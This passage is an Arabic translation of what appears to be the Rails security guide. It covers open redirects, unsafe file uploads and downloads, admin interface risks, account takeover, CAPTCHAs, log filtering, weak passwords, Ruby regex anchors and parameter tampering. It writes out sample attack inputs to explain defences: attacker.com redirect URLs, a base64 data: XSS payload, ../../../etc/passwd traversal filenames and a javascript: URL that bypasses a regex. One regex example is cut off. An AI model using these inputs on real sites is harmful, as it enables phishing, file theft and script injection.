عندما يُسمَح للمستخدم بتمرير عنوان URL (أو جزءًا منه) لإعادة التوجيه، فمن المحتمل أن يكون عرضة للخطر. قد يكون الهجوم الأكثر وضوحًا هو إعادة توجيه المستخدمين إلى تطبيق ويب مزيف يبدو تمامًا كالتطبيق الأصلي. هذا الهجوم المزيف يسمى التصيد الاحتيالي (phishing attack) ويعمل عن طريق إرسال رابط غير مريب في رسالة بريد إلكتروني إلى المستخدمين عن طريق إدخال رابط XSS في تطبيق الويب أو وضع الرابط في موقع خارجي. إنه غير مثير للشك، لأنَّ الرابط يبدأ بعنوان URL إلى تطبيق الويب ويخفي عنوان URL للموقع الخبيث في معامل إعادة التوجيه مثل: http://www.example.com/site/redirect?to=www.attacker.com. في ما يلي مثال على إجراء قديم:

def legacy
  redirect_to(params.update(action:'main'))
end

سيؤدي هذا إلى إعادة توجيه المستخدم إلى الإجراء الرئيسي إذا حاول الوصول إلى إجراء قديم. كان الهدف هو الحفاظ على معاملات عنوان URL للإجراء القديم وتمريرها إلى الإجراء الرئيسي. ومع ذلك، يمكن استغلالها من قِبل المهاجم إذا تضمنت مفتاح مضيف في عنوان URL:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

إذا كان في النهاية عنوان URL، فلن يكون من الممكن ملاحظته ويعيد توجيه المستخدم إلى مضيف attacker.com. سيكون الإجراء المضاد البسيط هو تضمين المعاملات المتوقعة فقط في الإجراء القديم (مرة أخرى نعود إلى أسلوب القائمة البيضاء، بدلًا من إزالة المعاملات غير المتوقعة). وإذا أعدت التوجيه إلى عنوان URL، فتحقق من ذلك باستخدام قائمة بيضاء أو تعبير عادي.

هجمات XSS القائمة بحد ذاتها

هناك عملية إعادة توجيه أخرى تعتمد على هجمات XSS وتعمل في Firefox و Opera باستخدام بروتوكول البيانات. يعرض هذا البروتوكول محتوياته مباشرة في المتصفح ويمكن أن يكون أي شيء من HTML أو JavaScript إلى صور بأكملها:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

هذا المثال عبارة عن شيفرة JavaScript مشفرة عبر Base64 تعرض مربع رسالة بسيط. في عنوان URL لإعادة التوجيه، يمكن للمهاجم إعادة التوجيه إلى عنوان URL هذا باستخدام التعليمة البرمجية الضارة فيه. كإجراء مضاد، لا تسمح للمستخدم بتزويد عنوان URL (أو أجزاء منه) المراد إعادة توجيهه إليه.

تحميل الملفات

ملاحظة: تأكد من أن تحميلات ملف لا تستبدل ملفات أخرى مهمة، وعالج ملفات الوسائط (media files) بشكل غير متزامن.

تسمح العديد من تطبيقات الويب للمستخدمين بتحميل ملفات على الخادم. يجب دومًا ترشيح أسماء الملفات، التي قد يختارها المستخدم (جزئيًا)، حيث يمكن للمهاجم استخدام اسم ملف ضار للكتابة فوق أي ملف على الخادم. إذا خزنت الملفات المحملة في ‎/var/www/uploads، وقام المستخدم بإدخال اسم ملف مثل "‎../../../etc/passwd"، فقد يكتب فوق (يستبدل) ملف مهم. بالطبع، سيحتاج مترجم روبي إلى الأذونات المناسبة للقيام بذلك، وهو سبب آخر لتشغيل خوادم الويب و خوادم قواعد البيانات والبرامج الأخرى كمستخدم يونكس ذي صلاحيات أقل.

عند ترشيح أسماء ملفات التي يدخلها المستخدم، لا تحاول إزالة الأجزاء الضارة. فكر في موقف يزيل فيه تطبيق الويب كافة الأجزاء "‎../‎" في اسم الملف ويستخدم المهاجم سلسلة مثل "‎....//‎"، إذ ستكون النتيجة "‎../‎". من الأفضل استخدام أسلوب القائمة البيضاء الذي يتحقق من صحة اسم الملف مع مجموعة من المحارف المقبولة. هذا يعارض نهج القائمة السوداء الذي يحاول إزالة الأحرف غير المسموح بها. في حالة عدم وجود اسم ملف صالح، ارفضه (أو استبدل المحارف غير المقبولة)، ولكن لا تزله. إليك اسم الملف المطهَّر من الإضافة attachment_fu:

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # بشكل صحيح مع مسارات ويندوز على لينكس File.basename ملاحظة: لا يعمل
    # لذا اجلب اسم الملف فقط دون كامل المسار
    name.sub! /\A.*(\\|\/)/, ''
    # أخيرًا، بدل شرطات سفلية مكان المحارف غير الأبجدية أو الرقمية أو  
    # الشرطات السفلية أو النقط 
    name.gsub! /[^\w\.\-]/, '_'
  end
end

هناك عيب كبير في المعالجة المتزامنة لعمليات تحميل الملفات (كما تفعل الإضافة attachment_fu مع الصور) هو ضعفه تجاه هجمات حجب الخدمة (denial-of-service attacks). يمكن للمهاجم بدء تحميل ملفات الصور بشكل متزامن من العديد من أجهزة الكمبيوتر مما يزيد من حمل الخادم وقد يؤدي إلى تعطيل الخادم أو إبطائه.

الحل الأفضل لذلك هو معالجة ملفات الوسائط بشكل غير متزامن: احفظ ملف الوسائط وجدول طلب معالجة في قاعدة البيانات. ستأتي بعدئذٍ عملية أخرى وتعالج الملف في الخلفية.

الشيفرات البرمجية القابلة للتنفيذ في الملفات المحملة

تحذير: قد تُنفَّذ شيفرة مصدرية في الملفات المحملة عند وضعها في مجلدات محددة. لا تضع الملفات المحملة في المجلد public/ لريلز إذا كان هو مجلد Apache الرئيسي.

يحتوي خادم الويب الشهير Apache على خيار يسمى DocumentRoot. هذا هو المجلد الرئيسي لموقع الويب، وسيُخدَّم كل شيء في شجرة هذا المجلد بواسطة خادم الويب. إذا كانت هناك ملفات ذات امتداد (لاحقة) معين، تُنفذ التعليمة البرمجية الموجودة بها عند الطلب (قد يتطلب ذلك تعيين بعض الخيارات). ومن أمثلة ذلك ملفات PHP و CGI. فكر الآن في موقف يُحمِّل فيه أحد المهاجمين ملفًا باسم "file.cgi" يحوي شيفرة فيه تُنفذ عندما يُنزِّل شخص ما الملف.

إذا كان الخيار DocumentRoot في خادم الويب Apache يشير إلى المجلد ‎/public لريلز، فلا تضع الملفات المحملة فيه، بل خزن الملفات في مستوى واحد لأعلى على الأقل.

تنزيل الملفات

ملاحظة: تأكد من عدم تمكن المستخدمين من تنزيل ملفات عشوائية.

مثلما يلزمك ترشيح أسماء الملفات المراد تحميلها، يجب عليك القيام بالأمر ذاته للملفات المراد تنزيلها. يرسل التابع ()send_file ملفات من الخادم إلى العميل. إذا كنت تستخدم اسم الملف الذي أدخله المستخدم، دون تصفية، فسيتمكن المستخدم من تنزيل أي ملف من خادمك:

send_file('/var/www/uploads/' + params[:filename])

ما عليك سوى تمرير اسم ملف مثل "‎../../../etc/passwd" لتنزيل معلومات تسجيل الدخول الخاصة بالخادم. حل هذه المشكلة بسيط وهو التحقق من أن الملف المطلوب موجود في المجلد المتوقع:

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
     File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

أسلوب آخر (إضافي) هو تخزين أسماء الملفات في قاعدة البيانات وتسمية الملفات الموجودة على القرص بعد المعرفات الموجودة في قاعدة البيانات. هذا أيضًا طريقة جيدة لتجنب تنفيذ شيفرة برمجية محتملة جرى تحميلها. تسلك الإضافة attachment_fu نفس السلوك أيضًا ولكن بطريقة مشابهة.

الإنترانت والأمان الإداري

الإنترانت (Intranet) والواجهات الإدارية هي أهداف هجوم شائعة، لأنها تسمح بالوصول المُدعَّم بالصلاحيات. على الرغم من أن هذا سيتطلب العديد من التدابير الأمنية الإضافية، فإن العكس هو الحال في العالم الحقيقي.

في عام 2007، كانت هناك أول فيروس طروادة (trojan) المصمَّم خصيصًا لسرقة المعلومات من الإنترانت، وهي موقع الويب الخاص بموقع "مونستر لأرباب العمل" الذي هو Monster.com، وهو تطبيق ويب لتقديم طلبات التوظيف عبر الإنترنت. تعد أحصنة طروادة المصممة خصيصًا لأداء مهمام محددة خبيثة وخطرة نادرة جدًا حتى الآن، والمخاطر منخفضة جدًا، ولكنها بالتأكيد تمثل خطرًا محتملًا ومثالًا على أهمية أمان مضيف العميل أيضًا. ومع ذلك، فإن التهديد الأعلى للتطبيقات الداخلية والإدارة هو الآتي من هجمات XSS و CSRF.

هجمات XSS تتمثَّل بإعادة عرض التطبيق الخاص بك مدخلات المستخدم الضار من شبكة الإكسترانت (extranet)، إذ سيكون آنذاك التطبيق عرضة لهجمات XSS. أسماء المستخدمين، والتعليقات، وتقارير الرسائل غير المرغوب فيها، وعناوين الطلبات هي مجرد أمثلة قليلة غير مألوفة، حيث يمكن أن يكون هناك هجمات XSS.

وجود مكان واحد في واجهة الإدارة أو الإنترانت، حيث لم تُطهَّر المدخلات، يجعل التطبيق بأكمله عرضة للخطر. تشمل عمليات الاستغلال المحتملة سرقة ملف تعريف الارتباط الخاص بالمسؤول، وحقن إطار iframe لسرقة كلمة مرور المسؤول أو تثبيت برامج ضارة من خلال ثغرات أمنية للمتصفح للسيطرة على جهاز الكمبيوتر الخاص بالمشرف.

ارجع إلى قسم الحقن للتعامل مع الإجراءات المضادة لهجمات XSS.

هجمات تزوير الطلب عبر الموقع (اختصارًا CSRF)، التي تعرف أيضا باسم "التزوير المرجعي عبر المواقع" (XSRF اختصار للعبارة Cross-Site Reference Forgery)، هو أسلوب هجوم عملاق يسمح للمهاجم بالقيام بكل شيء قد يفعله المسؤول أو مستخدم الإنترانت. كما سبق أن رأينا أعلاه كيف يعمل CSRF، إليك بعض الأمثلة لما يمكن أن يفعله المهاجمون في واجهة الإنترانت أو الواجهة الإدارية.

مثال حقيقي هو إعادة ضبط الموجه (router) بواسطة CSRF. أرسل المهاجمون بريدًا إلكترونيًا ضارًا، يحوي CSRF، إلى المستخدمين المكسيكيين. زعم البريد الإلكتروني أن هناك بطاقة إلكترونية في انتظار المستخدم، ولكنها احتوت أيضًا على وسم صورة أدت إلى طلب HTTP-GET لإعادة ضبط موجه المستخدم (وهو نموذج مشهور في المكسيك). غيَّر الطلب إعدادات نظام أسماء النطاقات (DNS) بحيث تعين طلبات موقع المصارف التي مقرها في المكسيك لموقع المهاجم. كل من وصل إلى الموقع المصرفي من خلال ذلك الموجه رأى موقع المهاجم المزيّف على شبكة الإنترنت وسرقت أمواله.

مثال آخر جرى فيه تغيير عنوان البريد الإلكتروني وكلمة مرور لحساب Google Adsense. إذا سُجل الضحية في جوجل أدسنس ودخل إلى واجهة الإدارة لحملات إعلانات جوجل، يستطيع المهاجم آنذاك من تغيير اعتماديات الضحية.

هناك هجوم شائع آخر هو إرسال بريد إلكتروني غير مرغوب فيه إلى تطبيق الويب الخاص بك أو مدونتك أو المنتدى الخاص بك لنشر XSS ضار. بالطبع، يجب على المهاجم معرفة بنية عنوان URL، ولكن معظم عناوين URL في ريلز واضحة تمامًا أو يسهل اكتشافها خصوصًا إذا كانت الواجهة الإدارية للتطبيق مفتوح المصدر. قد يخمن المهاجم 1000 تخمين محظوظ فقط من خلال تضمين وسوم IMG الخبيثة التي تحاول إجراء كل تركيب ممكن.

للتدابير المضادة ضد هجمات CSRF في الواجهات الإدارية والتطبيقات الإنترانت، ارجع إلى التدابير المضادة في قسم CSRF.

الاحتياطات الإضافية

تعمل واجهة الإدارة العامة بالشكل التالي: إنها موجودة على www.example.com/admin، ولا يمكن الوصول إليها إلا إذا ضُبطت الراية admin في النموذج User، وتعيد عرض مدخلات المستخدم وتسمح للمشرف بحذف أو إضافة أو تعديل أي شيء من البيانات المطلوبة. إليك بعض الأفكار حول هذا الأمر:

  • من المهم جدًا التفكير في أسوأ الحالات: ماذا لو كان شخص ما قد احتفظ بملفات تعريف الارتباط أو بيانات اعتماد المستخدم. يمكنك تقديم أدوار للواجهة الإدارية للحد من إمكانيات المهاجم. وماذا عن بيانات اعتماد تسجيل الدخول الخاصة لواجهة الإدارة، بخلاف تلك المستخدمة للجزء العام من التطبيق. أو كلمة مرور خاصة لاتخاذ إجراءات خطيرة للغاية؟
  • هل يجب على المشرف حقًا الوصول إلى الواجهة من كل مكان في العالم؟ نفكر في الحد من تسجيل الدخول إلى مجموعة من عناوين IP المصدر. افحص request.remote_ip لمعرفة عنوان IP للمستخدم. هذه ليست واقية من الرصاص، ولكن تعد حاجزًا كبيرًا يقي من جهمات عديدة. تذكر أنه قد يكون هناك وسيط (proxy) قيد الاستخدام.
  • ضع واجهة الإدارة على نطاق فرعي خاص مثل admin.application.com واجعله تطبيقًا منفصلًا مع إدارة المستخدم الخاصة به. هذا يجعل سرقة ملف تعريف ارتباط المستخدم المسؤول من النطاق المعتاد، www.application.com، مستحيلًا. هذا بسبب سياسة المصدر الواحد (same origin policy) في المتصفح الخاص بك: قد لا تقرأ الشيفرة البرمجية التي حُقنَت (XSS) على www.application.com ملف تعريف الارتباط لـ admin.application.com والعكس بالعكس.

إدارة المستخدم

ملاحظة: يجب أن يتعامل كل تطبيق ويب تقريبًا مع التفويض والاستيثاق. وبدلًا من أن تتجول بنفسك، من المستحسن استخدام المكونات الإضافية الشائعة. ولكن ابقهم محدثين أيضًا. يمكن أن تؤدي بعض الاحتياطات الإضافية إلى جعل تطبيقك أكثر أمانًا.

هناك عدد من الإضافات المتاحة للاستيثاق في ريلز. منها الجيد، مثل الإضافة devise و authlogic المشهورتين، التي تخزن فقط كلمات المرور المشفرة، وليس كلمات المرور ذات النص العادي. في الإصدار 3.1 من ريلز، يمكنك استخدام التابع has_secure_password المضمّن الذي يحتوي على ميزات مشابهة.

يحصل كل مستخدم جديد على رمز تنشيط لتفعيل حسابه عندما يتلقى رسالة إلكترونية تحتوي على رابط التنشيط فيه. بعد تنشيط الحساب، تعين الحقول activation_code إلى القيمة NULL في قاعدة البيانات. إذا طلب شخص ما عنوان URL كهذا، يُسجل دخوله كأول مستخدم نشط موجود في قاعدة البيانات (ومن المحتمل أن يكون هذا هو المسؤول):

http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=

هذا ممكن لأنه على بعض الخوادم، بهذه الطريقة، يكون معرف المعامل، كما هو الحال في [params[:id، القيمة nil. ومع ذلك، إليك الباحث عن إجراء التنشيط:

User.find_by_activation_code(params[:id])

إذا كان المعامل nil، فسيكون استعلام SQL الناتج:

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1

وبالتالي وجد أول مستخدم في قاعدة البيانات، و أعاده وسجله. يمكنك معرفة المزيد عنه في هذا المنشور. من المستحسن تحديث الإضافات من وقت لآخر. علاوة على ذلك، يمكنك مراجعة طلبك للعثور على المزيد من العيوب على هذا النحو.

الحسابات المتعرضة لهجوم عنيف

ملاحظة: هجمات القوة الغاشمة (يطلق عليه أيضًا "هجمات تخمين اسم المستخدم وكلمة المرور" [Brute force attacks]) في الحسابات هي هجمات تجريبية وأخطاء على بيانات اعتماد تسجيل الدخول. صدهم مع المزيد من رسائل الخطأ العامة وربما تتطلب إدخال اختبار CAPTCHA.

قد يُساء استخدام قائمة بأسماء المستخدمين لتطبيق الويب الخاص بك لفرض كلمات المرور المقابلة، لأن معظم الأشخاص لا يستخدمون كلمات مرور معقدة. معظم كلمات المرور هي مزيج من كلمات موجودة في القاموس وربما أرقام بسيطة. مع التسلح بقائمة من أسماء المستخدمين ووجود قاموس، قد يعثر برنامج تلقائي على كلمة المرور الصحيحة لمستخدم في غضون دقائق.

وبسبب هذا، فإن معظم تطبيقات الويب تعرض رسالة خطأ عامة مثل "اسم المستخدم أو كلمة المرور غير صحيحة" (user name or password not correct)، إذا كان أحدها غير صحيح. فلو قيل لك "لم يعثر على اسم المستخدم الذي ادخلته"، يمكن للمهاجم تلقائيًا تجميع قائمة بأسماء المستخدمين.

ومع ذلك، ما الذي يهمله معظم مصممي تطبيقات الويب هو صفحات نسيان كلمة المرور. تعترف هذه الصفحات غالبًا بأن اسم المستخدم أو عنوان البريد الإلكتروني الذي أُدخِل لم يعثر عليه. هذا يسمح للمهاجم بتجميع قائمة بأسماء المستخدمين وشن هجوم عنيف على تلك الحسابات المجمعة.

للتخفيف من مثل هذه الهجمات، اعرض رسالة خطأ عامة على صفحات نسيت كلمة المرور أيضًا. علاوة على ذلك، يمكنك طلب إدخال اختبار كاباتشا (CAPTCHA) بعد عدد من عمليات تسجيل الدخول الفاشلة من عنوان IP معين. ومع ذلك، لاحظ أن هذا ليس حلًا مضادًا للرصاص ضد البرامج التلقائية، لأن مثل هذه البرامج قد تغير عنوان IP الخاص بها تمامًا كما هو الحال دائمًا. ومع ذلك، فإنه يمثِّل حاجزًا جيدًا لصد جزء من الهجوم.

اختطاف الحساب

تسهِّل العديد من تطبيقات الويب اختطاف حسابات المستخدمين. لماذا لا تكون مختلفة وتجعلها أكثر صعوبة؟

كلمات المرور

فكر في الموقف الذي سرق فيه أحد المهاجمين ملف تعريف ارتباط جلسة المستخدم، ومن ثم تمكنه من استخدام التطبيق. إذا كان من السهل تغيير كلمة المرور، سيختطف المهاجم الحساب بنقرات قليلة. أو إذا كان نموذج تغيير كلمة المرور عرضة لهجمات CSRF، سيغير المهاجم كلمة المرور الخاصة بالضحية عن طريق إغرائه إلى دخول صفحة ويب تحتوي على وسم IMG صُمم باستخدام CSRF. كإجراء مضاد، تأكد من أن نماذج كلمة مرور التغيير آمنة ضد هجمات CSRF، بالطبع. واطلب من المستخدم إدخال كلمة المرور القديمة عند تغييرها.

البريد الإلكتروني

ومع ذلك، قد يسيطر المهاجم أيضًا على الحساب عن طريق تغيير عنوان البريد الإلكتروني. بعد تغييرها، ينتقل المهاجم إلى صفحة كلمة المرور المنسية ويطلب تغيير كلمة المرور. تُرسَل بعد ذلك كلمة المرور (قد تكون الجديدة) إلى عنوان البريد الإلكتروني للمهاجم. كإجراء مضاد، يطلب من المستخدم إدخال كلمة المرور عند تغيير عنوان البريد الإلكتروني أيضًا.

الآخرى

اعتمادًا على تطبيق الويب الخاص بك، قد يكون هناك المزيد من الطرق لاختطاف حساب المستخدم. في العديد من الحالات، يساعد CSRF و XSS في القيام بذلك. على سبيل المثال، كما هو الحال في ثغرة CSRF في Google Mail. في هجوم إثبات المفهوم هذا، كان الضحية قد أغري إلى دخول موقع ويب يسيطر عليه المهاجم. في هذا الموقع عبارة عن وسم <img> ينتج عنه طلب HTTP GET يغير إعدادات مرشح Google Mail. إذا سجل الضحية في Google Mail، سيغير المهاجم المرشحات لإعادة توجيه جميع رسائل البريد الإلكتروني إلى عنوان البريد الإلكتروني الخاص به. ضرر ذلك يماثل ضرر اختطاف الحساب بالكامل. كتدبير مضاد، راجع منطق التطبيق الخاص بك وأزل كل ثغرات XSS و CSRF.

الكابتشا

ملاحظة: اختبار الكابتشا (CAPTCHA) هو اختبار تحدي استجابة لتحديد أن الاستجابة لا تُنشَأ بواسطة جهاز آلي (حاسوب أو برنامج آلي). وغالبًا ما يستخدم لحماية نماذج التسجيل من المهاجمين ونماذج التعليقات من برامج التتبع العشوائية التلقائية عن طريق مطالبة المستخدم بكتابة حروف صورة مشوهة. هذا هو اختبار كابتشا الإيجابي، ولكن هناك أيضًا اختبار كابتشا السلبي. إن فكرة اختبار كابتشا السلبي ليس لاثبات أن المستخدم الحالي هو إنسان، ولكن لاكتشاف أن المستخدم الحالي هو إنسان آلي (robot).

واجهة برمجة تطبيقات كابتشا الإيجابية الشائعة هي reCAPTCHA التي تعرض صورتين مشوهتين للكلمات من كتب قديمة. كما أنه يضيف خطًا مائلًا، بدلًا من خلفية مشوهة ومستويات عالية من التشويش على النص كما كان يُفعَل في اختبار كابتشا سابقًا، لأن الأخير قد تعطل. كمكافأة، يساعد استخدام reCAPTCHA في تحويل الكتب القديمة إلى رقمية. ReCAPTCHA هو أيضًا إضافة في ريلز يحمل نفس اسم واجهة برمجة التطبيقات.

ستحصل على مفتاحين من واجهة برمجة التطبيقات (API)، عام ومفتاح خاص؛ يجب عليك وضعه في بيئة ريلز لديك. بعد ذلك يمكنك استخدام التابع recaptcha_tags في الواجهة، و verification_recaptcha في وحدة التحكم. سيعيد Verify_recaptcha خطأ إذا فشل التحقق من الصحة. المشكلة التي تكمن في كابتشا هي أن لها تأثيرًا سلبيًا على تجربة المستخدم. بالإضافة إلى ذلك، وجد بعض المستخدمين المعاقين بصريًا أن بعض أنواع اختبارات كابتشا المشوهة يصعب قراءتها. ومع ذلك، تعد اختبارات كابتشا الإيجابية إحدى أفضل الطرق لمنع جميع أنواع برامج التتبع من إرسال النماذج.

معظم البرامج الآلية الذكية (bots) غبية حقًا. إنها تزحف على الويب وتضع بريدها الإلكتروني غير المرغوب فيه في كل حقل يمكنها العثور عليه. تستفيد اختبارات كابتشا السلبية من ذلك وتُضمِّن حقلًا يدعى "honeypot" في النموذج بشكل مخفي عن المستخدم البشري من خلال خاصية CSS أو JavaScript كفخٍ للبرامج الآلية التي تدعى أنها ذكية.

تجدر الإشارة إلى أنَّ اختبار كابتشا السلبي لا يكون فعالًا إلا ضد برامج التتبع الآلية المغفلة (dumb bots) ولا يكفي لحماية التطبيقات المهمة من برامج التتبع المستهدفة الآلية. ومع ذلك، يمكن الجمع بين اختبار كابتشا السلبي والإيجابي لزيادة الأداء؛ على سبيل المثال، إذا لم يكن الحقل "honeypot" فارغًا (أي ملأه البرنامج الآلي)، لن تحتاج إلى التحقق من اختبار كابتشا الإيجابي، والذي يتطلب طلب HTTPS إلى Google ReCaptcha قبل حساب الاستجابة.

فيما يلي بعض الأفكار حول كيفية إخفاء حقول honeypot بواسطة JavaScript و / أو CSS:

  • ضع الحقول خارج المنطقة المرئية من الصفحة.
  • اجعل حجم العناصر صغيرة جدًا أو لونها بنفس خلفية الصفحة.
  • اترك الحقول مرئية، ولكن أخبر البشر بتركها فارغة.

يعتبر اختبار كابتشا السلبي الأكثر بساطة هو حقل honeypot مخفي واحد. على جانب الخادم، ستتحقق من قيمة الحقل؛ فإذا كان يحتوي على أي نص، فيجب أن يكون عبارة عن برنامج تتبع. بعد ذلك، يمكنك إما تجاهل المشاركة أو إظهار نتيجة إيجابية، ولكن لا يمكنك حفظ المشاركة في قاعدة البيانات. بهذه الطريقة سوف يكون البرنامج الآلي راضيًا ويمضي قدمًا.

يمكنك العثور على اختبارات كابتشا سلبية أكثر تعقيدًا في هذه التدوينة لـ Ned Batchelder:

  • ضمِّن حقلًا مع الطابع الزمني UTC الحالي فيه وتحقق من ذلك على الخادم. إذا كان بعيدًا جدًا في الماضي، أو إذا كان في المستقبل، فإن النموذج غير صالح.
  • اجعل أسماء الحقول عشوائية.
  • ضمن أكثر من حقل honeypot من جميع الأنواع، بما في ذلك أزرار الإرسال.

لاحظ أن هذا لا يحميك إلا من البرامج الآلية التلقائية، ولا يمكن إيقاف برامج التتبع المستهدفة المخصصة لذلك. وبالتالي، قد لا تكون اختبارات كابتشا السلبية جيدة لحماية نماذج تسجيل الدخول.

التسجيل

تحذير: أخبر ريلز بعدم وضع كلمات المرور في ملفات السجل (log files).

بشكل افتراضي، تسجل ريلز جميع الطلبات التي أجريت على تطبيق الويب. ولكن ملفات السجل يمكن أن تكون مشكلة أمنية كبيرة، لأنها قد تحتوي على بيانات اعتماد تسجيل الدخول وأرقام بطاقات الائتمان وما إلى ذلك. عند تصميم مفهوم أمان تطبيق ويب، يجب أن تفكر أيضًا في ما سيحدث إذا حصل أحد المهاجمين على (الوصول الكامل) إلى خادم الويب. سيكون تشفير الأسرار وكلمات المرور في قاعدة البيانات غير ذي جدوى إذا كانت ملفات السجل تسردها بنصٍّ واضحٍ. يمكنك تصفية معاملات طلب معينة من ملفات السجل الخاصة بك عن طريق إضافتها إلى config.filter_parameters في ضبط التطبيق. توضع العلامة [FILTERED] على هذه المعاملات في السجل.

config.filter_parameters << :password

ملاحظة: ترشح المعاملات المقدمة بواسطة التعبير العادي المطابق الجزئي. يضيف ريلز الافتراضي: كلمة المرور في المهيئ المناسب (initializers/filter_parameter_logging.rb) وتهتم بالمعاملين password و password_confirmation.

كلمات المرور الجيدة

ملاحظة: هل تجد صعوبة في تذكر كل كلمات المرور الخاصة بك؟ لا تدونها، ولكن استخدم الحروف الأولية لكل كلمة في جملة سهلة التذكر.

قام بروس شناير (Bruce Schneier)، وهو تقني أمني، بتحليل 34000 اسم مستخدم وكلمة مرور حقيقين من هجوم MySpace للتصيد الاحتيالي المذكور أدناه. اتضح أن معظم كلمات المرور من السهل جدًا اختراقها. كلمات المرور العشرين الأكثر شيوعًا هي:

password1
abc123
myspace1
password
blink182
qwerty1
****you
123abc
baseball1
football1
123456
soccer
monkey1
liverpool1
princess1
jordan23
slipknot1
superman1
iloveyou1
monkey

من المثير للاهتمام أن 4٪ فقط من كلمات المرور هذه كانت كلمات معجم وأن الأغلبية العظمى هي حروف أبجدية ورقمية. ومع ذلك، تحتوي قواميس مخترقي كلمة المرور على عدد كبير من كلمات المرور المستخدمة في يومنا هذا، إذ يجربون جميع أنواع التركيبات (الأبجدية والرقمية). إذا كان المهاجم يعرف اسم المستخدم الخاص بك وكنت تستخدم كلمة مرور ضعيفة، فسيخترق حسابك بسهولة.

كلمة المرور الجيدة هي تركيبة أبجدية رقمية طويلة من الحالات المختلطة. بما أنه من الصعب تذكر ذلك، فمن المستحسن أن ندخل فقط الأحرف الأولى من جملة يمكنك تذكرها بسهولة. على سبيل المثال، كلمة مرور مستخلصة من الجملة "The quick brown fox jumps over the lazy dog" ستكون "Tqbfjotld". لاحظ أن هذا مجرد مثال، أي لا يجب أن تستخدم عبارات معروفة مثل هذه، إذ قد تظهر في قواميس المخترقين أيضًا.

التعابير النمطية

ملاحظة: من الوقائع الشائعة في تعابير روبي النمطية هي مطابقة بداية السلسلة ونهايتها عبر ^ و $ ، بدلًا من ‎\A و ‎\z.

تستخدم روبي نهجًا مختلفًا بعض الشيء عن العديد من اللغات الأخرى لمطابقة نهاية وبداية سلسلة نصية. هذا هو السبب في أن العديد من الكتب التي تشرح روبي وريلز تخطئ بشرح هذه النقطة. إذن، كيف يكون هذا تهديدًا أمنيًا؟ لنفترض أنك تريد التحقق من صحة حقل عنوان URL بشكل غير صحيح وأنك استخدمت تعبيرًا نمطيًّا بسيطًا كالتالي:

/^https?:\/\/[^

هذا قد يعمل بشكل جيد في بعض اللغات. ومع ذلك، في روبي، يطابق المحرف ^ و $ بداية السطر ونهاية السطر. وبالتالي، فإن عنوان URL مثل هذا يجري عملية الترشيح بدون مشاكل:

javascript:exploit_code();/*
http://hi.com
*/

يجتاز عنوان URL هذا المرشح لأن التعبير النمطي يطابق السطر الثاني، ولا يهم البقية. الآن تخيل أنه لدينا وحدة عرض أظهرت عنوان URL مثل هذا:

link_to "Homepage", @user.homepage

يبدو الارتباط بسيطًا للزائرين، ولكن عند النقر عليه، سينفذ الدالة "exploit_code" التي تخص JavaScript أو أي دالة JavaScript أخرى يوفرها المهاجم. لإصلاح التعبير النمطي، يجب استخدام ‎\A و ‎\z بدلًا من ^ و $، مثل:

/\Ahttps?:\/\/[^\n]+\z/i

بما أن هذا خطأ متكرر، فإن مدقق الصياغة (validates_format_of) يطرح الآن استثناءً إذا كان التعبير النمطي المقدم يبدأ بـ ^ أو ينتهي بـ $. إذا كنت بحاجة إلى استخدام ^ و $ بدلًا من ‎\A و ‎\z (وهو أمر نادر الحدوث)، فيمكنك ضبط الخيار ‎:multiline إلى القيمة true، مثل:

# في أي مكان في السلسلة النصية "Meanwhile" سطرًا فيه content يجب أن يحوي
validates :content, format: { with: /^Meanwhile$/, multiline: true }

لاحظ أن هذا لا يحميك إلا من الخطأ الأكثر شيوعًا عند استخدام أداة التحقق من الصياغة، إذ عليك دائمًا أن تضع في اعتبارك أن ^ و $ يتطابقان مع بداية السطر ونهايته في روبي، وليس بداية ونهاية السلسلة.

زيادة الصلاحيات

تحذير: قد يؤدي تغيير معامل واحد إلى منح المستخدم وصولًا غير مصرح به. تذكر أنه قد يتغير كل معامل، بغض النظر عن مدى إخفاءه أو تشويشه.

المعامل الأكثر شيوعًا التي قد يعبث به المستخدم هو معامل المعرّف id، كما هو الحال في http://www.domain.com/project/1، الذي يمثِّل الرقم 1 فيه المعرف. سيكون المعرف متاحًا في params في وحدة التحكم. هناك، على الأرجح ستفعل شيئًا كالتالي:

@project = Project.find(params[:id])

هذا أمر لا بأس به بالنسبة لبعض تطبيقات الويب، ولكن بالتأكيد ليس إذا كان المستخدم غير مخول لعرض جميع المشاريع. إذا غيّر المستخدم المعرف إلى 42، ولا لم يكن يُسمح له برؤية تلك المعلومات، فسيكون بإمكانه الوصول إليها على أي حال. بدلًا من ذلك، استَعلِم عن حقوق وصول المستخدم أيضًا:

@project = @current_user.projects.find(params[:id])

اعتمادًا على تطبيق الويب الخاص بك، سيكون هناك العديد من المعاملات التي يمكن للمستخدم التلاعب بها. كقاعدة عامة، تعد البيانات التي يدخلها المستخدم غير آمنة حتى يثبت العكس؛ ومن المحتمل أن يُتلاعَب بكل معامل أعطي من طرف المستخدم.

لا تنخدع بالأمن عن طريق التعتيم وأمن JavaScript. تتيح لك أدوات المطوّرين مراجعة الحقول المخفية لكل نموذج وتغييرها. يمكن استخدام JavaScript للتحقق من صحة بيانات إدخال المستخدم، ولكن بالتأكيد لا يمنع المهاجمين من إرسال طلبات ضارة ذات قيم غير متوقعة. تسجل الإضافة Firebug من Mozilla Firefox كل طلب وقد تكرره وتغيره. هذه طريقة سهلة لتجاوز أي عمليات التحقق من طرف JavaScript. وهناك أيضًا الوسيط من جانب العميل (client-side proxies) الذي يسمح لك باعتراض أي طلب واستجابة من وإلى الإنترنت.

الحقن

ملاحظة: الحقن هو فئة من الهجمات التي تدخل رمز أو معاملات ضارة في تطبيق ويب من أجل تشغيله ضمن سياق الأمان الخاص به. الأمثلة البارزة للحقن هي البرمجة عبر المواقع (XSS) وحقن استعلامات SQL.

